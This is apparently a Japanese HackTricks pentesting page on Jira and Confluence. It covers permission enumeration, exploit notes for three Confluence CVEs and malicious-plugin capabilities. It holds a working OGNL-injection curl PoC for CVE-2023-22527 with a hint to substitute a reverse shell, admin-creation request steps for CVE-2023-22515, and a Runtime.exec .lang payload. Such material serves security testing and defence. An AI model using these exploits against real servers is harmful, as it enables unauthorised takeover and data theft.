Jira & Confluence

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

権限の確認

Jiraでは、認証の有無にかかわらず、任意のユーザが /rest/api/2/mypermissions または /rest/api/3/mypermissions エンドポイントを通じて権限を確認することができます。これらのエンドポイントはユーザの現在の権限を明らかにします。非認証ユーザが権限を持っている場合は注目すべき問題であり、bounty対象となり得るセキュリティ脆弱性を示しています。同様に、認証済みユーザに想定外の権限がある場合も脆弱性を示します。

重要なアップデート2019年2月1日に行われ、‘mypermissions’ エンドポイントは ‘permission’ パラメータ を含める必要があるようになりました。この要件は、照会される権限を指定することでセキュリティを強化することを目的としています: check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

例: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

自動列挙

最近の RCEs & practical exploit notes (Confluence)

CVE-2023-22527 – unauthenticated template/OGNL injection (10.0)

  • Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5 に影響。脆弱な Velocity template text-inline.vm により OGNL 評価が without authentication で実行されます。
  • 簡易 PoC(コマンドは confluence user として実行されます):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • レスポンスヘッダー x-cmd にコマンド出力が含まれる。id を reverse shell payload に差し替える。
  • スキャナ: nuclei template http/cves/2023/CVE-2023-22527.yaml(nuclei-templates ≥9.7.5 に同梱)。

CVE-2023-22515 – セットアップ再有効化による管理者作成 (auth bypass)

  • 公開されている Confluence Data Center/Server 8.0.0–8.5.1 は setupComplete を切り替え、/setup/setupadministrator.action を再実行して新しい管理者アカウントを作成できる。
  • 最小限のエクスプロイト手順:
  1. GET /server-info.action(認証なし)で到達可能か確認する。
  2. POST /server-info.actionbuildNumber パラメータを送信して setup フラグを切り替える。
  3. POST /setup/setupadministrator.actionfullName, email, username, password, confirm を送信して管理者を作成する。

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Confluence の管理者は Configure Code Macro で細工した言語定義をアップロードできる。Rhino エンジンが埋め込まれた Java を実行し、RCE に繋がる。
  • shell を得るために、payload を含む .lang ファイルをアップロードする:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • 任意の Code Macro 本文で悪意のある言語を選択するとトリガーされます。Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 は auth + upload + exec を自動化します。

Atlasian プラグイン

この blog にあるように、Plugin modules ↗ に関するドキュメントでは、次のような異なる種類のプラグインを確認できます:

これは macro plugin タイプの例です:

Macro plugin example ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

これらのプラグインが XSS のような一般的な Web 脆弱性に対して脆弱である可能性があることが確認できます。例えば、前の例はユーザーが与えたデータを反映しているため脆弱です。

Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS.

## Backdoor Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) は、悪意のある Jira プラグインが実行し得るさまざまな(悪意ある)動作について説明しています。 [**code example in this repo**](https://github.com/cyllective/malfluence) でコード例を参照できます。

These are some of the actions a malicious plugin could perform:

- **Hiding Plugins from Admins**: フロントエンドの javascript を注入して悪意のあるプラグインを管理者から非表示にすることが可能です。
- **Exfiltrating Attachments and Pages**: 添付ファイルやページのエクスフィルトレーションを行い、すべてのデータにアクセスして持ち出すことができます。
- **Stealing Session Tokens**: レスポンスでヘッダをエコーするエンドポイント(cookie を含む)を追加し、それにアクセスする javascript を用意して cookie を leak させます。
- **Command Execution**: もちろん、コードを実行するプラグインを作成することは可能です。
- **Reverse Shell**: またはリバースシェルを取得することも可能です。
- **DOM Proxying**: If the confluence is inside a private network, it would be possible to establish a connection through the browser of some user with access to it and for example contact the server command executing through it.

## References

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>